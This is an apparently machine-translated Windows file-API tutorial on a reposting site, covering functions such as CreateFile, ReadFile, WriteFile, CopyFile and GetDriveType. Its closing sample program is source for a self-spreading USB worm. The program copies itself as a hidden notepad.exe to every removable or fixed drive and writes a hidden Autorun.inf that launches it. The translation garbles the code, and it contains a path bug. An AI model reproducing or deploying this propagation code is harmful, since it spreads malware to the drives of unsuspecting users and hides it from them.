Windows file Operations

Source: Internet
Author: User
Tags readfile

There are many files, pictures, videos, music and so on in Windows. These files are stored on disk, except for different storage formats. In addition, pipelines, mail slots, or device objects, are files for Windows.

1. Opening and closing of files

As with the c,c++ action file, to manipulate the file, you first need to open the file. When the file opens successfully, it returns a handle that can be used to manipulate the file, through which the file can be read and written.

Open File
HANDLE CreateFile(    LPCTSTR lpFileName,    DWORD dwDesiredAccess,    DWORD dwShareMode,    LPSECURITY_ATTRIBUTES lpSecurityAttributes,    DWORD dwCreationDisposition,    DWORD dwFlagsAndAttributes,    HANDLE hTemplateFile);
parameter Description:
  • lpfilename: The file name you want to open.
  • dwdesiredaccess: The access mode of the file that specifies what to do with the open object. Typically:generic_read and generic_write, respectively, read-only and write-only modes.
  • dwShareMode: shared mode, which indicates whether other processes are allowed to operate after the file is opened. If it is operable, it can specify its operating mode.
    |--file_share_delete: indicates that the action object is subsequently opened only if the delete access request succeeds.
    |--file_share_read: indicates that a subsequent open action object will succeed only if read access is requested.
    |--file_share_write: indicates that the action object is subsequently opened with only request write access.
  • lpsecurityattributes: Security property that specifies whether the returned file handle can be inherited by a thread. If NULL, indicates that the argument cannot be inherited, otherwise the parameter should be pointed to the struct of the security_attributes. is usually null.
  • dwcreationdisposition: How the function is handled when the created or opened file exists or does not exist.
    |--create_new: creates a file, and an error occurs if the file exists.
    |--create_always: creates a file that overwrites the previous file.
    |--open_existing: The file must already exist. Requested by the device.
    |--open_always: Create it if the file does not exist.
    |--truncate_existing: Shorten the existing file to zero length.
  • dwflagsandattributes: Specifies the properties of the new file and how the file is manipulated.
    |--file_attribute_archive: Tag Archive properties.
    |--file_attribute_compressed: marks the file as compressed, or as the default compression for files in the directory.
    |--file_attribute_normal: default property.
    |--file_attribute_hidden: hides files or directories.
    |--file_attribute_readonly: file is read-only.
    |--file_attribute_system: file is a system file.
    |--file_flag_overlapped: allows overlapping operations on files.
  • htemplatefile: A file module handle that will copy all the properties of the file template into the currently created file.
Return Value:
    • succeed: returns a file handle.
    • failed: returns INVALID_HANDLE_VALUE.

This function can either open a file or create a file, under Windows There is also a openfile () function, which is the product of Win16, under Win32 must use CreateFile () to open the file.

After the file operation is complete, you need to close the handle of the open file to release the resource, as follows:

BOOL CloseHandle(    HANDLE hObject  //handle to object);

This function not only closes the file handle, but also closes the object handle, such as an event handle, a process handle, a thread handle, and so on.


2. Basic operation of the file Deleting Files
BOOL DeleteFile(    LPCTSTR lpFileName);

This function has only one parameter that represents the name of the file to be deleted.

Read File
BOOL ReadFile(    HANDLE hFile,                  //handle to file    LPVOID lpBuffer,               //data buffer    DWORD nNumberOfBytesToRead,    //number of bytes to read    LPDWORD lpNumberOfBytesRead,   //number of bytes read    LPOVERLAPPED lpOverlapped      //overlapped buffer);
parameter Description:
    • hfile: A handle to a file handle, typically returned by CreateFile ().
    • lpbuffer: points to a buffer where the data read from the file is saved in the buffer.
    • nnumberofbytestoread: The minimum value required to read in, typically the size of the buffer.
    • Lpnumberofbytesread: points to a DWORD variable, returning the number of bytes read in.
    • lpoverlapped: usually null.
Write File
BOOL WriteFile(    HANDLE hFile,                     //handle to file    LPCVOID lpBuffer,                 //data buffer    DWORD nNumberOfBytesToWrite,      //number of bytes to write    LPDWORD lpNumberOfBytesWritten,   //number of bytes written    LPOVERLAPPED lpOverlapped         //overlapped buffer);

The parameters of this function and the ReadFile () function are basically the same, and the second argument of the WriteFile () function still points to a buffer, where the ReadFile () function stores the contents of the read-in, and the WriteFile () function writes the contents.

When writing a file with the WriteFile () function, Windows temporarily saves the data in the internal cache, and the operating system periodically writes the disk, thus avoiding frequent I/O operations and improving efficiency. To ensure that data is written in real time, you can use the FlushFileBuffers () function:

BOOL FlushFileBuffers(    HANDLE hFile  //handle to file);

This function empties the buffer of the specified file handle, allowing Windows to write files in the buffer to disk. The handle and WriteFile () are the same as the file handles used by ReadFile ().

Set file pointer

When a file is read, it is often necessary to read a portion of the file, which requires that the file pointer be moved to read and write correctly.

The move file pointer function is:

BOOL SetFilePointer(    HANDLE hFile,                 //handle to file    LONG lDistanceToMove,         //bytes to move pointer    PLONG lpDistanceToMoveHigh,   //bytes to move pointer    DWORD dwMoveMethod            //starting point);
parameter Description:
    • hfile: file handle when the file is operating.
    • Ldistancetomove: Specifies the distance to move the file pointer.
    • lpDistanceToMoveHigh: Pointer to long, 32 bits higher than the distance to move. is often null.
    • Dwmovemethod: Specifies the starting position of the move. You can move from the beginning of the file, from the current location, or from the end of the file.
Copy Files
BOOL CopyFile(  LPCTSTR lpExistingFileName,                          // pointer to name of an existing file  LPCTSTR lpNewFileName,  // pointer to filename to copy to  BOOL bFailIfExists      // flag for operation if file exists);
parameter Description:
    • lpexistingfilename: point to the name of the file you want to copy.
    • lpnewfilename: point to the name of the file to be copied
    • bfailifexists: The processing flag if the target file already exists. If true, the call fails, and if False, the original file is overwritten.
Setting file Properties
BOOL SetFileAttributes(  LPCTSTR lpFileName,      // pointer to filename  DWORD dwFileAttributes   // attributes to set);

The first parameter is the file name, and the second parameter is the property to set, which is a macro definition that starts with File_attribute_. MSDN describes the following

  • file_attribute_archive: The file is an archive file. Applications use this attribute to the mark files for backup or removal.
  • File_attribute_hidden: The file is hidden. It is a included in an ordinary directory listing.
  • File_attribute_normal: The file has no other attributes set. This attribute are valid only if used alone.
  • File_attribute_offline: The data of the file is not immediately available. Indicates that the file data have been physically moved to offline storage.
  • file_attribute_readonly: The file is read-only. Applications can read the file but cannot write to it or delete it.
  • File_attribute_system: The file is part of the operating system or are used exclusively by it.
  • file_attribute_temporary: The file is being used for temporary storage. File systems attempt to keep all of the data in memory for quicker access rather than flushing the data back to mass Stora Ge. A temporary file should be deleted by the application as soon as it is no longer needed.


3. Drive and directory related operations get all local logical drives:
DWORD GetLogicalDriveStrings(    DWORD nBufferLength,   //size of buffer    LPTSTR lpBuffer        //drive strings buffer);
parameter Description:
    • nbufferlength: Indicates the length of the lpbuffer.
    • lpbuffer: represents the buffer that receives the local logical drive name.

The function returns all the available drive names locally as a string, saved in lpbuffer.

Get drive type function
UINT GetDriveType(    LPCTSTR lpRootPathName  //root directory);

lpRootPathName Save the drive name of the obtained logical drive type. The return value of the function is one of the following:

DRIVE_UNKONWN           无法识别此驱动器类型DRIVE_NO_ROOT_DIR       无效的驱动器路径DRIVE_REMOVEABLE        可移动驱动器,如U盘、移动硬盘等DRIVE_FIXED             不可移动驱动器,指硬盘DRIVE_REMOTE            网络驱动器DRIVE_CDROM             光盘驱动器DRIVE_RAMDISK           虚拟驱动器
Get file path
DWORD GetModuleFileName(  HMODULE hModule,    // handle to module to find filename for  LPTSTR lpFilename,  // pointer to buffer to receive module path  DWORD nSize         // size of buffer, in characters);
function to create a directory
BOOL CreateDirectory(    LPCTSTR lpPathName,                         //directory name    LPSECURITY_ATTRIBUTES lpSecurityAttributes  //SD);
parameter Description:
    • lppathname: directory name to create the directory.
    • lpsecurityattributes: security attribute, often null.
functions to remove a directory
BOOL RemoveDirectory(    LPCTSTR lpPathName  //directory name);

parameter specifies the name of the directory to remove.


4. Sample Programs

The program uses the Autorun.inf file to simulate a USB stick virus, when the program on a USB flash drive, it will copy itself to all the disk directory, and generate the Autorun.inf file, the properties of the two files are set to hide. When the program is on disk, if there is a removable disk, it will do the same thing on the removable disk.

#define _crt_secure_no_warnings#include <windows.h>char szautorun[] = "[AutoRun] \r\nopen=notepad.exe \r\nshell \\open= Open (&o) \r\nshell\\open\\command=notepad.exe \r\nshell\\explore= Resource Manager (&AMP;X) \r\nshell\\explore\\ Command=notepad.exe \r\nshellexecute=notepad.exe \r\nshell\\auto\\command=notepad.exe "; void Infect (char *pszFile,    UINT udrivertype) {char Szdrivestring[maxbyte] = {0};    DWORD Dwret = {0};    DWORD iNum = 0;    Char Szroot[4] = {0};    UINT utype = 0;    Char Sztarget[max_path] = {0};    Dwret = GetLogicalDriveStrings (Maxbyte, szdrivestring);        while (INum < Dwret) {strncpy (Szroot, &szdrivestring[inum], 3);        Utype = GetDriveType (szroot);           if (Utype = = Udrivertype) {lstrcpy (sztarget, szroot);    Copy the root directory name to Sztarget lstrcat (Sztarget, "notepad.exe");  Sztarget is the target file name: drive letter: \notepad.exe CopyFile (Pszfile, Sztarget, FALSE); Copy the original file to Sztarget//Set file property to hide SeTfileattributes (Sztarget, File_attribute_hidden);            Establishment of Autorun.inf file lstrcpy (Sztarget, szroot);            lstrcpy (Sztarget, "Autorun.inf");                 HANDLE hfile = CreateFile (sztarget, generic_write, 0, NULL, Create_always, File_attribute_normal,            NULL);            DWORD dwwritten = 0;            WriteFile (hfile, Szautorun, Lstrlen (Szautorun), &dwwritten, NULL);            CloseHandle (hfile);        Hidden autorun.inf files SetFileAttributes (sztarget, File_attribute_hidden);  } INum + = 4;    Start operation of the next drive letter}}int main () {char Szfilename[max_path] = {0};    Char Szroot[4] = {0};    UINT utype = 0;  GetModuleFileName (NULL, szFileName, MAX_PATH);                 Gets the current path and full file name strncpy (Szroot, szFileName, 3);    Get the drive letter Utype = GetDriveType (szroot);  Switch (utype) {case Drive_fixed:infect (szFileName, drive_removable);    If on the hard disk, check if there is a removable drive, copy break; Case Drive_removable: Infect (szFileName, drive_fixed);    If it is in a removable drive, it is copied to the hard disk. } return 0;}

Windows file Operations

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.